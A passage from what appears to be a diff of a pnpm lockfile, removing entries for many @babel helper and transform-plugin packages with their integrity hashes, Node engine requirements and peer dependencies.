sha512-4f6Oqnmyp2PP3olgUMmOwC3akxSm5aBYraQ6YDdKy7NcAMkDECHWG0DEnV6M2UAkERgIBhYt8S27rURPg7SxWA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-create-regexp-features-plugin@7.24.7': - resolution: {integrity: sha512-03TCmXy2FtXJEZfbXDTSqq1fRJArk7lX9DOFC/47VthYcxyIOx+eXQmdo6DOQvrbpIix+KfXwvuXdFDZHxt+rA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-define-polyfill-provider@0.6.2': - resolution: {integrity: sha512-LV76g+C502biUK6AyZ3LK10vDpDyCzZnhZFXkH1L75zHPj68+qc8Zfpx2th+gzwA2MzyK+1g/3EPl62yFnVttQ==} - peerDependencies: - '@babel/core': ^7.4.0 || ^8.0.0-0 <8.0.0 - - '@babel/helper-environment-visitor@7.24.7': - resolution: {integrity: sha512-DoiN84+4Gnd0ncbBOM9AZENV4a5ZiL39HYMyZJGZ/AZEykHYdJw0wW3kdcsh9/Kn+BRXHLkkklZ51ecPKmI1CQ==} - engines: {node: '>=6.9.0'} - - '@babel/helper-function-name@7.24.7': - resolution: {integrity: sha512-FyoJTsj/PEUWu1/TYRiXTIHc8lbw+TDYkZuoE43opPS5TrI7MyONBE1oNvfguEXAD9yhQRrVBnXdXzSLQl9XnA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-hoist-variables@7.24.7': - resolution: {integrity: sha512-MJJwhkoGy5c4ehfoRyrJ/owKeMl19U54h27YYftT0o2teQ3FJ3nQUf/I3LlJsX4l3qlw7WRXUmiyajvHXoTubQ==} - engines: {node: '>=6.9.0'} - - '@babel/helper-member-expression-to-functions@7.24.8': - resolution: {integrity: sha512-LABppdt+Lp/RlBxqrh4qgf1oEH/WxdzQNDJIu5gC/W1GyvPVrOBiItmmM8wan2fm4oYqFuFfkXmlGpLQhPY8CA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-imports@7.24.7': - resolution: {integrity: sha512-8AyH3C+74cgCVVXow/myrynrAGv+nTVg5vKu2nZph9x7RcRwzmh0VFallJuFTZ9mx6u4eSdXZfcOzSqTUm0HCA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-transforms@7.24.9': - resolution: {integrity: sha512-oYbh+rtFKj/HwBQkFlUzvcybzklmVdVV3UU+mN7n2t/q3yGHbuVdNxyFvSBO1tfvjyArpHNcWMAzsSPdyI46hw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-optimise-call-expression@7.24.7': - resolution: {integrity: sha512-jKiTsW2xmWwxT1ixIdfXUZp+P5yURx2suzLZr5Hi64rURpDYdMW0pv+Uf17EYk2Rd428Lx4tLsnjGJzYKDM/6A==} - engines: {node: '>=6.9.0'} - - '@babel/helper-plugin-utils@7.24.8': - resolution: {integrity: sha512-FFWx5142D8h2Mgr/iPVGH5G7w6jDn4jUSpZTyDnQO0Yn7Ks2Kuz6Pci8H6MPCoUJegd/UZQ3tAvfLCxQSnWWwg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-remap-async-to-generator@7.24.7': - resolution: {integrity: sha512-9pKLcTlZ92hNZMQfGCHImUpDOlAgkkpqalWEeftW5FBya75k8Li2ilerxkM/uBEj01iBZXcCIB/bwvDYgWyibA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-replace-supers@7.24.7': - resolution: {integrity: sha512-qTAxxBM81VEyoAY0TtLrx1oAEJc09ZK67Q9ljQToqCnA+55eNwCORaxlKyu+rNfX86o8OXRUSNUnrtsAZXM9sg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-simple-access@7.24.7': - resolution: {integrity: sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-skip-transparent-expression-wrappers@7.24.7': - resolution: {integrity: sha512-IO+DLT3LQUElMbpzlatRASEyQtfhSE0+m465v++3jyyXeBTBUjtVZg28/gHeV5mrTJqvEKhKroBGAvhW+qPHiQ==} - engines: {node: '>=6.9.0'} - - '@babel/helper-split-export-declaration@7.24.7': - resolution: {integrity: sha512-oy5V7pD+UvfkEATUKvIjvIAH/xCzfsFVw7ygW2SI6NClZzquT+mwdTfgfdbUiceh6iQO0CHtCPsyze/MZ2YbAA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-string-parser@7.24.8': - resolution: {integrity: sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-identifier@7.24.7': - resolution: {integrity: sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-option@7.24.8': - resolution: {integrity: sha512-xb8t9tD1MHLungh/AIoWYN+gVHaB9kwlu8gffXGSt3FFEIT7RjS+xWbc2vUD1UTZdIpKj/ab3rdqJ7ufngyi2Q==} - engines: {node: '>=6.9.0'} - - '@babel/helper-wrap-function@7.24.7': - resolution: {integrity: sha512-N9JIYk3TD+1vq/wn77YnJOqMtfWhNewNE+DJV4puD2X7Ew9J4JvrzrFDfTfyv5EgEXVy9/Wt8QiOErzEmv5Ifw==} - engines: {node: '>=6.9.0'} - - '@babel/helpers@7.24.8': - resolution: {integrity: sha512-gV2265Nkcz7weJJfvDoAEVzC1e2OTDpkGbEsebse8koXUJUXPsCMi7sRo/+SPMuMZ9MtUPnGwITTnQnU5YjyaQ==} - engines: {node: '>=6.9.0'} - - '@babel/highlight@7.24.7': - resolution: {integrity: sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==} - engines: {node: '>=6.9.0'} - - '@babel/parser@7.24.8': - resolution: {integrity: sha512-WzfbgXOkGzZiXXCqk43kKwZjzwx4oulxZi3nq2TYL9mOjQv6kYwul9mz6ID36njuL7Xkp6nJEfok848Zj10j/w==} - engines: {node: '>=6.0.0'} - hasBin: true - - '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.24.7': - resolution: {integrity: sha512-TiT1ss81W80eQsN+722OaeQMY/G4yTb4G9JrqeiDADs3N8lbPMGldWi9x8tyqCW5NLx1Jh2AvkE6r6QvEltMMQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.24.7': - resolution: {integrity: sha512-unaQgZ/iRu/By6tsjMZzpeBZjChYfLYry6HrEXPoz3KmfF0sVBQ1l8zKMQ4xRGLWVsjuvB8nQfjNP/DcfEOCsg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.24.7': - resolution: {integrity: sha512-+izXIbke1T33mY4MSNnrqhPXDz01WYhEf3yF5NbnUtkiNnm+XBZJl3kNfoK6NKmYlz/D07+l2GWVK/QfDkNCuQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.13.0 - - '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.24.7': - resolution: {integrity: sha512-utA4HuR6F4Vvcr+o4DnjL8fCOlgRFGbeeBEGNg3ZTrLFw6VWG5XmUrvcQ0FjIYMU2ST4XcR2Wsp7t9qOAPnxMg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2': - resolution: {integrity: sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-async-generators@7.8.4': - resolution: {integrity: sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-class-properties@7.12.13': - resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-class-static-block@7.14.5': - resolution: {integrity: sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-dynamic-import@7.8.3': - resolution: {integrity: sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-export-namespace-from@7.8.3': - resolution: {integrity: sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-import-assertions@7.24.7': - resolution: {integrity: sha512-Ec3NRUMoi8gskrkBe3fNmEQfxDvY8bgfQpz6jlk/41kX9eUjvpyqWU7PBP/pLAvMaSQjbMNKJmvX57jP+M6bPg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-import-attributes@7.24.7': - resolution: {integrity: sha512-hbX+lKKeUMGihnK8nvKqmXBInriT3GVjzXKFriV3YC6APGxMbP8RZNFwy91+hocLXq90Mta+HshoB31802bb8A==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-import-meta@7.10.4': - resolution: {integrity: sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-json-strings@7.8.3': - resolution: {integrity: sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-logical-assignment-operators@7.10.4': - resolution: {integrity: sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3': - resolution: {integrity: sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-numeric-separator@7.10.4': - resolution: {integrity: sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-object-rest-spread@7.8.3': - resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-optional-catch-binding@7.8.3': - resolution: {integrity: sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-optional-chaining@7.8.3': - resolution: {integrity: sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-private-property-in-object@7.14.5': - resolution: {integrity: sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-top-level-await@7.14.5': - resolution: {integrity: sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-unicode-sets-regex@7.18.6': - resolution: {integrity: sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/plugin-transform-arrow-functions@7.24.7': - resolution: {integrity: sha512-Dt9LQs6iEY++gXUwY03DNFat5C2NbO48jj+j/bSAz6b3HgPs39qcPiYt77fDObIcFwj3/C2ICX9YMwGflUoSHQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-async-generator-functions@7.24.7': - resolution: {integrity: sha512-o+iF77e3u7ZS4AoAuJvapz9Fm001PuD2V3Lp6OSE4FYQke+cSewYtnek+THqGRWyQloRCyvWL1OkyfNEl9vr/g==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-async-to-generator@7.24.7': - resolution: {integrity: sha512-SQY01PcJfmQ+4Ash7NE+rpbLFbmqA2GPIgqzxfFTL4t1FKRq4zTms/7htKpoCUI9OcFYgzqfmCdH53s6/jn5fA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-block-scoped-functions@7.24.7': - resolution: {integrity: sha512-yO7RAz6EsVQDaBH18IDJcMB1HnrUn2FJ/Jslc/WtPPWcjhpUJXU/rjbwmluzp7v/ZzWcEhTMXELnnsz8djWDwQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-block-scoping@7.24.7': - resolution: {integrity: sha512-Nd5CvgMbWc+oWzBsuaMcbwjJWAcp5qzrbg69SZdHSP7AMY0AbWFqFO0WTFCA1jxhMCwodRwvRec8k0QUbZk7RQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-class-properties@7.24.7': - resolution: {integrity: sha512-vKbfawVYayKcSeSR5YYzzyXvsDFWU2mD8U5TFeXtbCPLFUqe7GyCgvO6XDHzje862ODrOwy6WCPmKeWHbCFJ4w==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-class-static-block@7.24.7': - resolution: {integrity: sha512-HMXK3WbBPpZQufbMG4B46A90PkuuhN9vBCb5T8+VAHqvAqvcLi+2cKoukcpmUYkszLhScU3l1iudhrks3DggRQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.12.0 - - '@babel/plugin-transform-classes@7.24.8': - resolution: {integrity: sha512-VXy91c47uujj758ud9wx+OMgheXm4qJfyhj1P18YvlrQkNOSrwsteHk+EFS3OMGfhMhpZa0A+81eE7G4QC+3CA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-computed-properties@7.24.7': - resolution: {integrity: sha512-25cS7v+707Gu6Ds2oY6tCkUwsJ9YIDbggd9+cu9jzzDgiNq7hR/8dkzxWfKWnTic26vsI3EsCXNd4iEB6e8esQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-destructuring@7.24.8': - resolution: {integrity: sha512-36e87mfY8TnRxc7yc6M9g9gOB7rKgSahqkIKwLpz4Ppk2+zC2Cy1is0uwtuSG6AE4zlTOUa+7JGz9jCJGLqQFQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-dotall-regex@7.24.7': - resolution: {integrity: sha512-ZOA3W+1RRTSWvyqcMJDLqbchh7U4NRGqwRfFSVbOLS/ePIP4vHB5e8T8eXcuqyN1QkgKyj5wuW0lcS85v4CrSw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-duplicate-keys@7.24.7': - resolution: {integrity: sha512-JdYfXyCRihAe46jUIliuL2/s0x0wObgwwiGxw/UbgJBr20gQBThrokO4nYKgWkD7uBaqM7+9x5TU7NkExZJyzw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-dynamic-import@7.24.7': - resolution: {integrity: sha512-sc3X26PhZQDb3JhORmakcbvkeInvxz+A8oda99lj7J60QRuPZvNAk9wQlTBS1ZynelDrDmTU4pw1tyc5d5ZMUg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-exponentiation-operator@7.24.7': - resolution: {integrity: sha512-Rqe/vSc9OYgDajNIK35u7ot+KeCoetqQYFXM4Epf7M7ez3lWlOjrDjrwMei6caCVhfdw+mIKD4cgdGNy5JQotQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-export-namespace-from@7.24.7': - resolution: {integrity: sha512-v0K9uNYsPL3oXZ/7F9NNIbAj2jv1whUEtyA6aujhekLs56R++JDQuzRcP2/z4WX5Vg/c5lE9uWZA0/iUoFhLTA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-for-of@7.24.7': - resolution: {integrity: sha512-wo9ogrDG1ITTTBsy46oGiN1dS9A7MROBTcYsfS8DtsImMkHk9JXJ3EWQM6X2SUw4x80uGPlwj0o00Uoc6nEE3g==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-function-name@7.24.7': - resolution: {integrity: sha512-U9FcnA821YoILngSmYkW6FjyQe2TyZD5pHt4EVIhmcTkrJw/3KqcrRSxuOo5tFZJi7TE19iDyI1u+weTI7bn2w==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-json-strings@7.24.7': - resolution: {integrity: sha512-2yFnBGDvRuxAaE/f0vfBKvtnvvqU8tGpMHqMNpTN2oWMKIR3NqFkjaAgGwawhqK/pIN2T3XdjGPdaG0vDhOBGw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-literals@7.24.7': - resolution: {integrity: sha512-vcwCbb4HDH+hWi8Pqenwnjy+UiklO4Kt1vfspcQYFhJdpthSnW8XvWGyDZWKNVrVbVViI/S7K9PDJZiUmP2fYQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-logical-assignment-operators@7.24.7': - resolution: {integrity: sha512-4D2tpwlQ1odXmTEIFWy9ELJcZHqrStlzK/dAOWYyxX3zT0iXQB6banjgeOJQXzEc4S0E0a5A+hahxPaEFYftsw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-member-expression-literals@7.24.7': - resolution: {integrity: sha512-T/hRC1uqrzXMKLQ6UCwMT85S3EvqaBXDGf0FaMf4446Qx9vKwlghvee0+uuZcDUCZU5RuNi4781UQ7R308zzBw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-modules-amd@7.24.7': - resolution: {integrity: sha512-9+pB1qxV3vs/8Hdmz/CulFB8w2tuu6EB94JZFsjdqxQokwGa9Unap7Bo2gGBGIvPmDIVvQrom7r5m/TCDMURhg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-modules-commonjs@7.24.8': - resolution: {integrity: sha512-WHsk9H8XxRs3JXKWFiqtQebdh9b/pTk4EgueygFzYlTKAg0Ud985mSevdNjdXdFBATSKVJGQXP1tv6aGbssLKA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-modules-systemjs@7.24.7': - resolution: {integrity: sha512-GYQE0tW7YoaN13qFh3O1NCY4MPkUiAH3fiF7UcV/I3ajmDKEdG3l+UOcbAm4zUE3gnvUU+Eni7XrVKo9eO9auw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-modules-umd@7.24.7': - resolution: {integrity: sha512-3aytQvqJ/h9z4g8AsKPLvD4Zqi2qT+L3j7XoFFu1XBlZWEl2/1kWnhmAbxpLgPrHSY0M6UA02jyTiwUVtiKR6A==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-named-capturing-groups-regex@7.24.7': - resolution: {integrity: sha512-/jr7h/EWeJtk1U/uz2jlsCioHkZk1JJZVcc8oQsJ1dUlaJD83f4/6Zeh2aHt9BIFokHIsSeDfhUmju0+1GPd6g==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/plugin-transform-new-target@7.24.7': - resolution: {integrity: sha512-RNKwfRIXg4Ls/8mMTza5oPF5RkOW8Wy/WgMAp1/F1yZ8mMbtwXW+HDoJiOsagWrAhI5f57Vncrmr9XeT4CVapA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-nullish-coalescing-operator@7.24.7': - resolution: {integrity: sha512-Ts7xQVk1OEocqzm8rHMXHlxvsfZ0cEF2yomUqpKENHWMF4zKk175Y4q8H5knJes6PgYad50uuRmt3UJuhBw8pQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-numeric-separator@7.24.7': - resolution: {integrity: sha512-e6q1TiVUzvH9KRvicuxdBTUj4AdKSRwzIyFFnfnezpCfP2/7Qmbb8qbU2j7GODbl4JMkblitCQjKYUaX/qkkwA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-object-rest-spread@7.24.7': - resolution: {integrity: sha512-4QrHAr0aXQCEFni2q4DqKLD31n2DL+RxcwnNjDFkSG0eNQ/xCavnRkfCUjsyqGC2OviNJvZOF/mQqZBw7i2C5Q==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-object-super@7.24.7': - resolution: {integrity: sha512-A/vVLwN6lBrMFmMDmPPz0jnE6ZGx7Jq7d6sT/Ev4H65RER6pZ+kczlf1DthF5N0qaPHBsI7UXiE8Zy66nmAovg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-optional-catch-binding@7.24.7': - resolution: {integrity: sha512-uLEndKqP5BfBbC/5jTwPxLh9kqPWWgzN/f8w6UwAIirAEqiIVJWWY312X72Eub09g5KF9+Zn7+hT7sDxmhRuKA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-optional-chaining@7.24.8': - resolution: {integrity: sha512-5cTOLSMs9eypEy8JUVvIKOu6NgvbJMnpG62VpIHrTmROdQ+L5mDAaI40g25k5vXti55JWNX5jCkq3HZxXBQANw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-parameters@7.24.7': - resolution: {integrity: sha512-yGWW5Rr+sQOhK0Ot8hjDJuxU3XLRQGflvT4lhlSY0DFvdb3TwKaY26CJzHtYllU0vT9j58hc37ndFPsqT1SrzA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-private-methods@7.24.7': - resolution: {integrity: sha512-COTCOkG2hn4JKGEKBADkA8WNb35TGkkRbI5iT845dB+NyqgO8Hn+ajPbSnIQznneJTa3d30scb6iz/DhH8GsJQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-private-property-in-object@7.24.7': - resolution: {integrity: sha512-9z76mxwnwFxMyxZWEgdgECQglF2Q7cFLm0kMf8pGwt+GSJsY0cONKj/UuO4bOH0w/uAel3ekS4ra5CEAyJRmDA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-property-literals@7.24.7': - resolution: {integrity: sha512-EMi4MLQSHfd2nrCqQEWxFdha2gBCqU4ZcCng4WBGZ5CJL4bBRW0ptdqqDdeirGZcpALazVVNJqRmsO8/+oNCBA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-regenerator@7.24.7': - resolution: {integrity: sha512-lq3fvXPdimDrlg6LWBoqj+r/DEWgONuwjuOuQCSYgRroXDH/IdM1C0IZf59fL5cHLpjEH/O6opIRBbqv7ELnuA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-reserved-words@7.24.7': - resolution: {integrity: sha512-0DUq0pHcPKbjFZCfTss/pGkYMfy3vFWydkUBd9r0GHpIyfs2eCDENvqadMycRS9wZCXR41wucAfJHJmwA0UmoQ==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-shorthand-properties@7.24.7': - resolution: {integrity: sha512-KsDsevZMDsigzbA09+vacnLpmPH4aWjcZjXdyFKGzpplxhbeB4wYtury3vglQkg6KM/xEPKt73eCjPPf1PgXBA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-spread@7.24.7': - resolution: {integrity: sha512-x96oO0I09dgMDxJaANcRyD4ellXFLLiWhuwDxKZX5g2rWP1bTPkBSwCYv96VDXVT1bD9aPj8tppr5ITIh8hBng==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-sticky-regex@7.24.7': - resolution: {integrity: sha512-kHPSIJc9v24zEml5geKg9Mjx5ULpfncj0wRpYtxbvKyTtHCYDkVE3aHQ03FrpEo4gEe2vrJJS1Y9CJTaThA52g==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-template-literals@7.24.7': - resolution: {integrity: sha512-AfDTQmClklHCOLxtGoP7HkeMw56k1/bTQjwsfhL6pppo/M4TOBSq+jjBUBLmV/4oeFg4GWMavIl44ZeCtmmZTw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-typeof-symbol@7.24.8': - resolution: {integrity: sha512-adNTUpDCVnmAE58VEqKlAA6ZBlNkMnWD0ZcW76lyNFN3MJniyGFZfNwERVk8Ap56MCnXztmDr19T4mPTztcuaw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-unicode-escapes@7.24.7': - resolution: {integrity: sha512-U3ap1gm5+4edc2Q/P+9VrBNhGkfnf+8ZqppY71Bo/pzZmXhhLdqgaUl6cuB07O1+AQJtCLfaOmswiNbSQ9ivhw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-unicode-property-regex@7.24.7': - resolution: {integrity: sha512-uH2O4OV5M9FZYQrwc7NdVmMxQJOCCzFeYudlZSzUAHRFeOujQefa92E74TQDVskNHCzOXoigEuoyzHDhaEaK5w==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-unicode-regex@7.24.7': - resolution: {integrity: sha512-hlQ96MBZSAXUq7ltkjtu3FJCCSMx/j629ns3hA3pXnBXjanNP0LHi+JpPeA81zaWgVK1VGH95Xuy7u0RyQ8kMg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-unicode-sets-regex@7.24.7': - resolution: {integrity: 